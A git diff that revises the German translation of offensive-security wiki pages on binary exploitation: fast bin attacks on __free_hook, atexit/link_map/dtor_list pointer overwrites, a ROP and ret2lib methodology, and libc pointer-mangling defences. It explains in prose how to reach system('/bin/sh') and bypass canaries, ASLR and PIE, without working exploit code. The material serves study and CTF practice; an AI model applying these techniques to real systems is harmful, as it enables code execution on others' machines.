An der genannten Breakpoint-Stelle im vorherigen Code wird sich die Adresse des free Hooks in `$eax` befinden.
@@ -48,13 +48,13 @@ An der genannten Breakpoint-Stelle im vorherigen Code wird sich die Adresse des
Jetzt wird ein **fast bin attack** durchgeführt:
- Zunächst wird entdeckt, dass es möglich ist, mit schnellen **Chunks der Größe 200** im **`__free_hook`**-Bereich zu arbeiten:
--
- Wenn es gelingt, einen schnellen Chunk der Größe 0x200 an dieser Stelle zu erhalten, wird es möglich sein, einen Funktionszeiger zu überschreiben, der ausgeführt wird.
- Dazu wird ein neuer Chunk der Größe `0xfc` erstellt und die zusammengeführte Funktion wird mit diesem Zeiger zweimal aufgerufen, sodass wir einen Zeiger auf einen freigegebenen Chunk der Größe `0xfc*2 = 0x1f8` im fast bin erhalten.
@@ -62,7 +62,7 @@ gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
- Anschließend wird ein Chunk der Größe `0x1f8` erstellt, um den vorherigen nutzlosen Chunk aus dem fast bin abzurufen, sodass ein weiterer Chunk der Größe `0x1f8` erstellt wird, um einen fast bin Chunk im **`__free_hook`** zu erhalten, der mit der Adresse der **`system`**-Funktion überschrieben wird.
- Und schließlich wird ein Chunk, das die Zeichenkette `/bin/sh\x00` enthält, freigegeben, indem die Delete-Funktion aufgerufen wird, wodurch die **`__free_hook`**-Funktion ausgelöst wird, die auf system mit `/bin/sh\x00` als Parameter zeigt.
-## Referenzen
+## References
- [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)
- [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).
diff --git a/src/binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md b/src/binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md
index d5715d3f5..e8b2c6dbb 100644
--- a/src/binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md
+++ b/src/binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md
@@ -8,15 +8,15 @@
> Heutzutage ist es sehr **seltsam, dies auszunutzen!**
**`atexit()`** ist eine Funktion, der **andere Funktionen als Parameter übergeben werden.** Diese **Funktionen** werden **ausgeführt**, wenn ein **`exit()`** oder die **Rückkehr** von der **main** erfolgt.\
-Wenn Sie die **Adresse** einer dieser **Funktionen** so **modifizieren** können, dass sie beispielsweise auf einen Shellcode zeigt, werden Sie **Kontrolle** über den **Prozess** erlangen, aber das ist derzeit komplizierter.\
-Derzeit sind die **Adressen der auszuführenden Funktionen** hinter mehreren Strukturen **versteckt** und schließlich zeigen die Adressen, auf die sie verweisen, nicht auf die Adressen der Funktionen, sondern sind **mit XOR** und Verschiebungen mit einem **zufälligen Schlüssel** **verschlüsselt**. Daher ist dieser Angriffsvektor derzeit **nicht sehr nützlich, zumindest nicht auf x86** und **x64_86**.\
+Wenn Sie die **Adresse** einer dieser **Funktionen** so **ändern** können, dass sie beispielsweise auf einen Shellcode zeigt, werden Sie **Kontrolle** über den **Prozess** erlangen, aber das ist derzeit komplizierter.\
+Derzeit sind die **Adressen zu den Funktionen**, die ausgeführt werden sollen, hinter mehreren Strukturen **versteckt** und schließlich sind die Adressen, auf die sie zeigen, nicht die Adressen der Funktionen, sondern sind **mit XOR** und Verschiebungen mit einem **zufälligen Schlüssel** **verschlüsselt**. Daher ist dieser Angriffsvektor derzeit **nicht sehr nützlich, zumindest auf x86** und **x64_86**.\
Die **Verschlüsselungsfunktion** ist **`PTR_MANGLE`**. **Andere Architekturen** wie m68k, mips32, mips64, aarch64, arm, hppa... **implementieren die Verschlüsselung** nicht, da sie **das gleiche** zurückgeben, was sie als Eingabe erhalten haben. Diese Architekturen wären also durch diesen Vektor angreifbar.
Eine ausführliche Erklärung, wie das funktioniert, finden Sie unter [https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html](https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html)
## link_map
-Wie [**in diesem Beitrag erklärt**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link_map-structure), wenn das Programm mit `return` oder `exit()` beendet wird, wird `__run_exit_handlers()` aufgerufen, das registrierte Destruktoren aufruft.
+Wie in [**diesem Beitrag**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link_map-structure) erklärt, wenn das Programm mit `return` oder `exit()` beendet wird, wird `__run_exit_handlers()` aufgerufen, das registrierte Destruktoren aufruft.
> [!CAUTION]
> Wenn das Programm über die **`_exit()`**-Funktion beendet wird, wird der **`exit`-Syscall** aufgerufen und die Exit-Handler werden nicht ausgeführt. Um zu bestätigen, dass `__run_exit_handlers()` ausgeführt wird, können Sie einen Haltepunkt darauf setzen.
@@ -46,14 +46,14 @@ Elf64_Addr d_ptr; // offset from l->l_addr of our structure
```
Beachten Sie, wie `map -> l_addr + fini_array -> d_un.d_ptr` verwendet wird, um die **Position des **Arrays von Funktionen, die aufgerufen werden sollen**, zu **berechnen**.
-Es gibt eine **Handvoll Optionen**:
+Es gibt **einige Optionen**:
-- Überschreiben Sie den Wert von `map->l_addr`, um ihn auf ein **gefälschtes `fini_array`** mit Anweisungen zum Ausführen von beliebigem Code zu verweisen.
-- Überschreiben Sie die Einträge `l_info[DT_FINI_ARRAY]` und `l_info[DT_FINI_ARRAYSZ]` (die mehr oder weniger aufeinanderfolgend im Speicher sind), um sie **auf eine gefälschte `Elf64_Dyn`**-Struktur zeigen zu lassen, die erneut **`array` auf eine Speicher**zone zeigt, die der Angreifer kontrolliert.
+- Überschreiben Sie den Wert von `map->l_addr`, um auf ein **gefälschtes `fini_array`** mit Anweisungen zum Ausführen von beliebigem Code zu zeigen.
+- Überschreiben Sie die Einträge `l_info[DT_FINI_ARRAY]` und `l_info[DT_FINI_ARRAYSZ]` (die mehr oder weniger aufeinanderfolgend im Speicher sind), um sie **auf eine gefälschte `Elf64_Dyn`**-Struktur zeigen zu lassen, die erneut **`array` auf eine Speicher**zone zeigt, die der Angreifer kontrolliert.
- [**Dieser Bericht**](https://github.com/nobodyisnobody/write-ups/tree/main/DanteCTF.2023/pwn/Sentence.To.Hell) überschreibt `l_info[DT_FINI_ARRAY]` mit der Adresse eines kontrollierten Speichers in `.bss`, der ein gefälschtes `fini_array` enthält. Dieses gefälschte Array enthält **zuerst eine** [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) **Adresse**, die ausgeführt wird, und dann die **Differenz** zwischen der Adresse dieses **gefälschten Arrays** und dem **Wert von `map->l_addr`**, sodass `*array` auf das gefälschte Array zeigt.
-- Laut dem Hauptbeitrag dieser Technik und [**diesem Bericht**](https://activities.tjhsst.edu/csc/writeups/angstromctf-2021-wallstreet) hinterlässt ld.so einen Zeiger auf dem Stack, der auf die binäre `link_map` in ld.so zeigt. Mit einem beliebigen Schreibvorgang ist es möglich, ihn zu überschreiben und ihn auf ein gefälschtes `fini_array` zu verweisen, das vom Angreifer mit der Adresse zu einem [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) kontrolliert wird, zum Beispiel.
+- Laut dem Hauptbeitrag dieser Technik und [**diesem Bericht**](https://activities.tjhsst.edu/csc/writeups/angstromctf-2021-wallstreet) hinterlässt ld.so einen Zeiger auf dem Stack, der auf die binäre `link_map` in ld.so zeigt. Mit einem beliebigen Schreibvorgang ist es möglich, ihn zu überschreiben und auf ein gefälschtes `fini_array` zu zeigen, das vom Angreifer mit der Adresse zu einem [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) kontrolliert wird, zum Beispiel.
-Im Anschluss an den vorherigen Code finden Sie einen weiteren interessanten Abschnitt mit dem Code:
+Nach dem vorherigen Code finden Sie einen weiteren interessanten Abschnitt mit dem Code:
```c
/* Next try the old-style destructor. */
ElfW(Dyn) *fini = map->l_info[DT_FINI];
@@ -115,8 +115,8 @@ func (cur->obj);
```
Für jede registrierte Funktion in **`tls_dtor_list`** wird der Zeiger von **`cur->func`** demangelt und mit dem Argument **`cur->obj`** aufgerufen.
-Mit der **`tls`**-Funktion aus diesem [**Fork von GEF**](https://github.com/bata24/gef) ist es möglich zu sehen, dass die **`dtor_list`** tatsächlich sehr **nahe** am **Stack Canary** und dem **PTR_MANGLE-Cookie** ist. Ein Überlauf darauf würde es ermöglichen, das **Cookie** und den **Stack Canary** zu **überschreiben**.\
-Durch das Überschreiben des PTR_MANGLE-Cookies wäre es möglich, die **`PTR_DEMANLE`-Funktion** zu **umgehen**, indem man es auf 0x00 setzt, was bedeutet, dass das **`xor`**, das verwendet wird, um die echte Adresse zu erhalten, nur die konfigurierte Adresse ist. Dann ist es durch das Schreiben auf die **`dtor_list`** möglich, **mehrere Funktionen** mit der **Funktionsadresse** und ihrem **Argument** zu **verknüpfen**.
+Mit der **`tls`**-Funktion aus diesem [**Fork von GEF**](https://github.com/bata24/gef) ist es möglich zu sehen, dass die **`dtor_list`** tatsächlich sehr **nahe** am **Stack Canary** und dem **PTR_MANGLE-Cookie** liegt. Ein Überlauf darauf würde es ermöglichen, das **Cookie** und den **Stack Canary** zu **überschreiben**.\
+Durch das Überschreiben des PTR_MANGLE-Cookies wäre es möglich, die **`PTR_DEMANLE`-Funktion** zu **umgehen**, indem man es auf 0x00 setzt, was bedeutet, dass das **`xor`**, das verwendet wird, um die echte Adresse zu erhalten, nur die konfigurierte Adresse ist. Dann ist es durch das Schreiben in die **`dtor_list`** möglich, **mehrere Funktionen** mit der Funktions-**Adresse** und ihrem **Argument** zu **verknüpfen**.
Beachten Sie schließlich, dass der gespeicherte Zeiger nicht nur mit dem Cookie xored, sondern auch um 17 Bits rotiert wird:
```armasm
@@ -130,7 +130,7 @@ Finden Sie ein Beispiel im [**originalen Beitrag**](https://github.com/nobodyisn
## Andere beschädigte Zeiger in **`__run_exit_handlers`**
-Diese Technik ist [**hier erklärt**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite) und hängt erneut davon ab, dass das Programm **beendet wird, indem `return` oder `exit()` aufgerufen wird**, sodass **`__run_exit_handlers()`** aufgerufen wird.
+Diese Technik wird [**hier erklärt**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite) und hängt erneut davon ab, dass das Programm **beendet wird, indem `return` oder `exit()` aufgerufen wird**, sodass **`__run_exit_handlers()`** aufgerufen wird.
Lassen Sie uns mehr Code dieser Funktion überprüfen:
```c
@@ -218,7 +218,7 @@ Je nach Wert wird die Adresse der aufzurufenden Funktion an einem anderen Ort se
Darüber hinaus ist es in den Optionen **`ef_on`** und **`ef_cxa`** auch möglich, ein **Argument** zu steuern.
-Es ist möglich, die **`initial` Struktur** in einer Debugging-Sitzung mit GEF zu überprüfen, indem man **`gef> p initial`** eingibt.
+Es ist möglich, die **`initial` Struktur** in einer Debugging-Sitzung mit GEF zu überprüfen, indem man **`gef> p initial`** ausführt.
Um dies auszunutzen, müssen Sie entweder den `PTR_MANGLE`-Cookie **leaken oder löschen** und dann einen `cxa`-Eintrag in initial mit `system('/bin/sh')` überschreiben.\
Ein Beispiel dafür finden Sie im [**originalen Blogbeitrag über die Technik**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#6---code-execution-via-other-mangled-pointers-in-initial-structure).
diff --git a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md
index d514c0adb..d4befe045 100644
--- a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md
+++ b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md
@@ -60,16 +60,16 @@ Etwas, das zu berücksichtigen ist, ist, dass normalerweise **nur eine Ausnutzun
- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/index.html) (falls Sie diesen Syscall aufrufen können), um viele Register zu steuern.
- Gadgets von [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) und [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md), um mehrere Register zu steuern.
- Über ein [**Write What Where**](../arbitrary-write-2-exec/index.html) könnten Sie andere Schwachstellen (nicht bof) ausnutzen, um die **`win`**-Funktion aufzurufen.
-- [**Pointer-Redirecting**](../stack-overflow/pointer-redirecting.md): Falls der Stack Zeiger auf eine Funktion enthält, die aufgerufen werden soll, oder auf einen String, der von einer interessanten Funktion (system oder printf) verwendet werden soll, ist es möglich, diese Adresse zu überschreiben.
+- [**Pointer Redirecting**](../stack-overflow/pointer-redirecting.md): Falls der Stack Zeiger auf eine Funktion enthält, die aufgerufen werden soll, oder auf einen String, der von einer interessanten Funktion (system oder printf) verwendet werden soll, ist es möglich, diese Adresse zu überschreiben.
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) oder [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) könnten die Adressen beeinflussen.
- [**Uninitialisierte Variablen**](../stack-overflow/uninitialized-variables.md): Man weiß nie.
### Ziel: RCE
-#### Über Shellcode, wenn nx deaktiviert oder Shellcode mit ROP gemischt:
+#### Über Shellcode, wenn nx deaktiviert ist oder Shellcode mit ROP gemischt wird:
- [**(Stack) Shellcode**](#stack-shellcode): Dies ist nützlich, um einen Shellcode im Stack zu speichern, bevor oder nachdem der Rückgabepointer überschrieben wurde, und dann **dorthin zu springen**, um ihn auszuführen:
-- **In jedem Fall, wenn es einen** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html)**,** müssen Sie in einem regulären bof (leaken) umgehen.
+- **In jedem Fall, wenn es einen** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html)** gibt, müssen Sie in einem regulären bof umgehen (leaken)**
- **Ohne** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **und** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) ist es möglich, zur Adresse des Stacks zu springen, da sie sich niemals ändern wird.
- **Mit** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) müssen Sie Techniken wie [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) verwenden, um dorthin zu springen.
- **Mit** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) müssen Sie einige [**ROP**](../rop-return-oriented-programing/index.html) **verwenden, um `memprotect` aufzurufen** und eine Seite `rwx` zu machen, um dann **den Shellcode dort zu speichern** (zum Beispiel durch Aufruf von read) und dann dorthin zu springen.
@@ -78,33 +78,33 @@ Etwas, das zu berücksichtigen ist, ist, dass normalerweise **nur eine Ausnutzun
#### Über Syscalls
- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/index.html): Nützlich, um `execve` aufzurufen, um beliebige Befehle auszuführen. Sie müssen in der Lage sein, die **Gadgets zu finden, um den spezifischen Syscall mit den Parametern** aufzurufen.
-- Wenn [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) oder [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) aktiviert sind, müssen Sie sie besiegen, **um ROP-Gadgets** aus der Binärdatei oder Bibliotheken zu verwenden.
+- Wenn [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) oder [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) aktiviert sind, müssen Sie sie überwinden, **um ROP-Gadgets** aus der Binärdatei oder Bibliotheken zu verwenden.
- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/index.html) kann nützlich sein, um die **ret2execve** vorzubereiten.
- Gadgets von [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) und [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md), um mehrere Register zu steuern.
#### Über libc
-- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/index.html): Nützlich, um eine Funktion aus einer Bibliothek (normalerweise aus **`libc`**) wie **`system`** mit einigen vorbereiteten Argumenten (z.B. `'/bin/sh'`) aufzurufen. Sie müssen die Binärdatei **die Bibliothek laden**, mit der Funktion, die Sie aufrufen möchten (libc normalerweise).
+- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/index.html): Nützlich, um eine Funktion aus einer Bibliothek (normalerweise aus **`libc`**) wie **`system`** mit einigen vorbereiteten Argumenten (z.B. `'/bin/sh'`) aufzurufen. Sie müssen die Binärdatei **die Bibliothek laden**, mit der Funktion, die Sie aufrufen möchten (normalerweise libc).
- Wenn **statisch kompiliert und kein** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html), ändern sich die **Adressen** von `system` und `/bin/sh` nicht, sodass es möglich ist, sie statisch zu verwenden.
- **Ohne** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **und Kenntnis der geladenen libc-Version** ändern sich die **Adressen** von `system` und `/bin/sh` nicht, sodass es möglich ist, sie statisch zu verwenden.
- Mit [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **aber ohne** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)**, wenn die libc bekannt ist und die Binärdatei die `system`**-Funktion verwendet, ist es möglich, **`ret` zur Adresse von system in der GOT** mit der Adresse von `'/bin/sh'` im Parameter zu verwenden (das müssen Sie herausfinden).
- Mit [ASLR](../common-binary-protections-and-bypasses/aslr/index.html) aber ohne [PIE](../common-binary-protections-and-bypasses/pie/index.html), wenn die libc bekannt ist und **ohne dass die Binärdatei die `system`** verwendet:
- Verwenden Sie [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md), um die Adresse von `system` aufzulösen und sie aufzurufen.
-- **Umgehen** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) und berechnen Sie die Adresse von `system` und `'/bin/sh'` im Speicher.
+- **Umgehen** Sie [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) und berechnen Sie die Adresse von `system` und `'/bin/sh'` im Speicher.
- **Mit** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **und** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) **und ohne Kenntnis der libc**: Sie müssen:
- [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) umgehen.
-- Die **`libc`-Version** herausfinden (ein paar Funktionsadressen leaken).
-- Die **vorherigen Szenarien mit ASLR** überprüfen, um fortzufahren.
+- Die **`libc`-Version** herausfinden (leaken Sie ein paar Funktionsadressen).
+- Überprüfen Sie die **vorherigen Szenarien mit ASLR**, um fortzufahren.
#### Über EBP/RBP
-- [**Stack Pivoting / EBP2Ret / EBP Chaining**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): Steuern Sie den ESP, um RET über den gespeicherten EBP im Stack zu steuern.
+- [**Stack Pivoting / EBP2Ret / EBP Chaining**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): Steuern Sie den ESP, um RET über das gespeicherte EBP im Stack zu steuern.
- Nützlich für **off-by-one** Stack Overflows.
- Nützlich als alternative Möglichkeit, EIP zu steuern, während EIP missbraucht wird, um die Nutzlast im Speicher zu konstruieren und dann über EBP dorthin zu springen.
#### Sonstiges
-- [**Pointer-Redirecting**](../stack-overflow/pointer-redirecting.md): Falls der Stack Zeiger auf eine Funktion enthält, die aufgerufen werden soll, oder auf einen String, der von einer interessanten Funktion (system oder printf) verwendet werden soll, ist es möglich, diese Adresse zu überschreiben.
+- [**Pointer Redirecting**](../stack-overflow/pointer-redirecting.md): Falls der Stack Zeiger auf eine Funktion enthält, die aufgerufen werden soll, oder auf einen String, der von einer interessanten Funktion (system oder printf) verwendet werden soll, ist es möglich, diese Adresse zu überschreiben.
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) oder [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) könnten die Adressen beeinflussen.
- [**Uninitialisierte Variablen**](../stack-overflow/uninitialized-variables.md): Man weiß nie.
diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/libc-protections.md b/src/binary-exploitation/common-binary-protections-and-bypasses/libc-protections.md
index 11a352e0b..991122eee 100644
--- a/src/binary-exploitation/common-binary-protections-and-bypasses/libc-protections.md
+++ b/src/binary-exploitation/common-binary-protections-and-bypasses/libc-protections.md
@@ -8,11 +8,11 @@
### Sicherheitsvorteile
-Die Durchsetzung der Chunk-Ausrichtung in 64-Bit-Systemen verbessert die Sicherheit von Malloc erheblich, indem sie **die Platzierung von gefälschten Chunks auf nur 1 von 16 Adressen beschränkt**. Dies erschwert die Ausnutzungsversuche, insbesondere in Szenarien, in denen der Benutzer nur begrenzte Kontrolle über Eingabewerte hat, was Angriffe komplexer und schwieriger auszuführen macht.
+Die Durchsetzung der Chunk-Ausrichtung in 64-Bit-Systemen verbessert die Sicherheit von Malloc erheblich, indem sie **die Platzierung von gefälschten Chunks auf nur 1 von 16 Adressen** beschränkt. Dies erschwert die Ausnutzungsversuche, insbesondere in Szenarien, in denen der Benutzer nur begrenzte Kontrolle über Eingabewerte hat, was Angriffe komplexer und schwieriger auszuführen macht.
- **Fastbin-Angriff auf \_\_malloc_hook**
-Die neuen Ausrichtungsregeln in Malloc vereiteln auch einen klassischen Angriff, der den `__malloc_hook` betrifft. Früher konnten Angreifer die Chunk-Größen manipulieren, um **diesen Funktionszeiger zu überschreiben** und **Codeausführung** zu erlangen. Jetzt stellt die strenge Ausrichtungsanforderung sicher, dass solche Manipulationen nicht mehr möglich sind, wodurch ein häufiger Ausnutzungsweg geschlossen und die allgemeine Sicherheit erhöht wird.
+Die neuen Ausrichtungsregeln in Malloc vereiteln auch einen klassischen Angriff, der den `__malloc_hook` betrifft. Zuvor konnten Angreifer die Chunk-Größen manipulieren, um **diesen Funktionszeiger zu überschreiben** und **Codeausführung** zu erlangen. Jetzt stellt die strenge Ausrichtungsanforderung sicher, dass solche Manipulationen nicht mehr möglich sind, wodurch ein häufiger Ausnutzungsweg geschlossen und die allgemeine Sicherheit erhöht wird.
## Zeiger-Mangling bei Fastbins und Tcache
@@ -25,20 +25,20 @@ Der Kern dieser Technik ist eine Obfuskationsformel:
- **L** ist der **Speicherort** des Zeigers.
- **P** ist der tatsächliche **Fastbin/Tcache-Fd-Zeiger**.
-Der Grund für die bitweise Verschiebung des Speicherorts (L) um 12 Bits nach rechts vor der XOR-Operation ist entscheidend. Diese Manipulation adressiert eine Schwachstelle, die in der deterministischen Natur der 12 am wenigsten signifikanten Bits von Speicheradressen liegt, die aufgrund von Systemarchitektur-Beschränkungen typischerweise vorhersehbar sind. Durch die Verschiebung der Bits wird der vorhersehbare Teil aus der Gleichung entfernt, was die Zufälligkeit des neuen, gemanglten Zeigers erhöht und somit vor Ausnutzungen schützt, die auf der Vorhersehbarkeit dieser Bits basieren.
+Der Grund für die bitweise Verschiebung des Speicherorts (L) um 12 Bits nach rechts vor der XOR-Operation ist entscheidend. Diese Manipulation adressiert eine Schwachstelle, die in der deterministischen Natur der 12 am wenigsten signifikanten Bits von Speicheradressen liegt, die aufgrund von Systemarchitektur-Beschränkungen typischerweise vorhersehbar sind. Durch das Verschieben der Bits wird der vorhersehbare Teil aus der Gleichung entfernt, was die Zufälligkeit des neuen, gemanglten Zeigers erhöht und somit vor Ausnutzungen schützt, die auf der Vorhersehbarkeit dieser Bits basieren.
Dieser gemanglte Zeiger nutzt die vorhandene Zufälligkeit, die durch **Address Space Layout Randomization (ASLR)** bereitgestellt wird, die Adressen randomisiert, die von Programmen verwendet werden, um es Angreifern zu erschweren, das Speicherlayout eines Prozesses vorherzusagen.
-**Demangling** des Zeigers, um die ursprüngliche Adresse abzurufen, erfolgt durch die Verwendung derselben XOR-Operation. Hier wird der gemanglte Zeiger als P in der Formel behandelt, und wenn er mit dem unveränderten Speicherort (L) XORed wird, wird der ursprüngliche Zeiger offenbart. Diese Symmetrie im Mangling und Demangling stellt sicher, dass das System Zeiger effizient kodieren und dekodieren kann, ohne signifikante Overheadkosten, während die Sicherheit gegen Angriffe, die Speicherzeiger manipulieren, erheblich erhöht wird.
+**Demangling** des Zeigers, um die ursprüngliche Adresse abzurufen, erfolgt durch die Verwendung der gleichen XOR-Operation. Hier wird der gemanglte Zeiger als P in der Formel behandelt, und wenn er mit dem unveränderten Speicherort (L) XORed wird, wird der ursprüngliche Zeiger offenbart. Diese Symmetrie im Mangling und Demangling stellt sicher, dass das System Zeiger effizient kodieren und dekodieren kann, ohne signifikante Overheadkosten, während die Sicherheit gegen Angriffe, die Speicherzeiger manipulieren, erheblich erhöht wird.
### Sicherheitsvorteile
-Zeiger-Mangling zielt darauf ab, **teilweise und vollständige Zeigerüberschreibungen im Heap**-Management zu verhindern, was eine erhebliche Verbesserung der Sicherheit darstellt. Diese Funktion beeinflusst Ausnutzungs-Techniken auf verschiedene Weise:
+Zeiger-Mangling zielt darauf ab, **partielle und vollständige Zeigerüberschreibungen im Heap** zu verhindern, was eine erhebliche Verbesserung der Sicherheit darstellt. Diese Funktion beeinflusst Ausnutzungstechniken auf verschiedene Weise:
-1. **Verhinderung von Byte-Byte-relativen Überschreibungen**: Früher konnten Angreifer einen Teil eines Zeigers ändern, um **Heap-Chunks an andere Standorte umzuleiten, ohne die genauen Adressen zu kennen**, eine Technik, die im leakless **House of Roman**-Exploit offensichtlich ist. Mit Zeiger-Mangling erfordern solche relativen Überschreibungen **ohne einen Heap-Leak jetzt Brute-Forcing**, was die Wahrscheinlichkeit ihres Erfolgs drastisch verringert.
-2. **Erhöhte Schwierigkeit von Tcache-Bin/Fastbin-Angriffen**: Häufige Angriffe, die Funktionszeiger (wie `__malloc_hook`) durch Manipulation von Fastbin- oder Tcache-Einträgen überschreiben, werden behindert. Zum Beispiel könnte ein Angriff darin bestehen, eine LibC-Adresse zu leaken, einen Chunk in den Tcache-Bin freizugeben und dann den Fd-Zeiger zu überschreiben, um ihn auf `__malloc_hook` für beliebige Codeausführung umzuleiten. Mit Zeiger-Mangling müssen diese Zeiger korrekt gemangelt werden, **was einen Heap-Leak für eine genaue Manipulation erforderlich macht**, wodurch die Ausnutzungsbarriere erhöht wird.
+1. **Verhinderung von Byte-zu-Byte-relativen Überschreibungen**: Zuvor konnten Angreifer Teile eines Zeigers ändern, um **Heap-Chunks an andere Standorte umzuleiten, ohne die genauen Adressen zu kennen**, eine Technik, die im leakless **House of Roman**-Exploit offensichtlich ist. Mit Zeiger-Mangling erfordern solche relativen Überschreibungen **ohne einen Heap-Leak jetzt Brute-Forcing**, was die Wahrscheinlichkeit ihres Erfolgs drastisch reduziert.
+2. **Erhöhte Schwierigkeit von Tcache-Bin/Fastbin-Angriffen**: Häufige Angriffe, die Funktionszeiger (wie `__malloc_hook`) durch Manipulation von Fastbin- oder Tcache-Einträgen überschreiben, werden behindert. Zum Beispiel könnte ein Angriff darin bestehen, eine LibC-Adresse zu leaken, einen Chunk in den Tcache-Bin freizugeben und dann den Fd-Zeiger zu überschreiben, um ihn auf `__malloc_hook` umzuleiten, um beliebigen Code auszuführen. Mit Zeiger-Mangling müssen diese Zeiger korrekt gemanglt werden, **was einen Heap-Leak für eine genaue Manipulation erforderlich macht**, wodurch die Ausnutzungsbarriere erhöht wird.
3. **Anforderung von Heap-Leaks in Nicht-Heap-Standorten**: Das Erstellen eines gefälschten Chunks in Nicht-Heap-Bereichen (wie dem Stack, dem .bss-Bereich oder PLT/GOT) erfordert jetzt ebenfalls **einen Heap-Leak** aufgrund der Notwendigkeit des Zeiger-Manglings. Dies erhöht die Komplexität der Ausnutzung dieser Bereiche, ähnlich wie die Anforderung zur Manipulation von LibC-Adressen.
-4. **Leaking von Heap-Adressen wird herausfordernder**: Zeiger-Mangling schränkt die Nützlichkeit von Fd-Zeigern in Fastbin- und Tcache-Bins als Quellen für Heap-Adresse-Leaks ein. Allerdings bleiben Zeiger in unsortierten, kleinen und großen Bins ungemangelt und somit weiterhin nutzbar für das Leaken von Adressen. Diese Verschiebung zwingt Angreifer dazu, diese Bins nach ausnutzbaren Informationen zu durchsuchen, obwohl einige Techniken möglicherweise immer noch das Demangling von Zeigern vor einem Leak ermöglichen, wenn auch mit Einschränkungen.
+4. **Leaking von Heap-Adressen wird herausfordernder**: Zeiger-Mangling schränkt die Nützlichkeit von Fd-Zeigern in Fastbin- und Tcache-Bins als Quellen für Heap-Adresse-Leaks ein. Allerdings bleiben Zeiger in unsortierten, kleinen und großen Bins ungemanglt und somit weiterhin nutzbar für das Leaken von Adressen. Diese Verschiebung zwingt Angreifer dazu, diese Bins nach ausnutzbaren Informationen zu durchsuchen, obwohl einige Techniken möglicherweise immer noch das Demangling von Zeigern vor einem Leak ermöglichen, wenn auch mit Einschränkungen.
### **Demangling von Zeigern mit einem Heap-Leak**
@@ -47,7 +47,7 @@ Zeiger-Mangling zielt darauf ab, **teilweise und vollständige Zeigerüberschrei
### Algorithmusübersicht
-Die Formel, die für das Mangling und Demangling von Zeigern verwendet wird, ist:
+Die Formel, die für das Mangling und Demangling von Zeigern verwendet wird, lautet:
**`New_Ptr = (L >> 12) XOR P`**
@@ -56,7 +56,7 @@ Wobei **L** der Speicherort und **P** der Fd-Zeiger ist. Wenn **L** um 12 Bits n
**Wichtige Schritte im Algorithmus:**
1. **Erster Leak der signifikantesten Bits**: Durch das XORen des verschobenen **L** mit **P** erhält man effektiv die obersten 12 Bits von **P**, da der verschobene Teil von **L** null sein wird, wodurch die entsprechenden Bits von **P** unverändert bleiben.
-2. **Wiederherstellung der Zeigerbits**: Da XOR umkehrbar ist, ermöglicht das Wissen um das Ergebnis und einen der Operanden, den anderen Operanden zu berechnen. Diese Eigenschaft wird genutzt, um die gesamte Menge von Bits für **P** zu deduzieren, indem nacheinander bekannte Bitmengen mit Teilen des gemanglten Zeigers XORed werden.
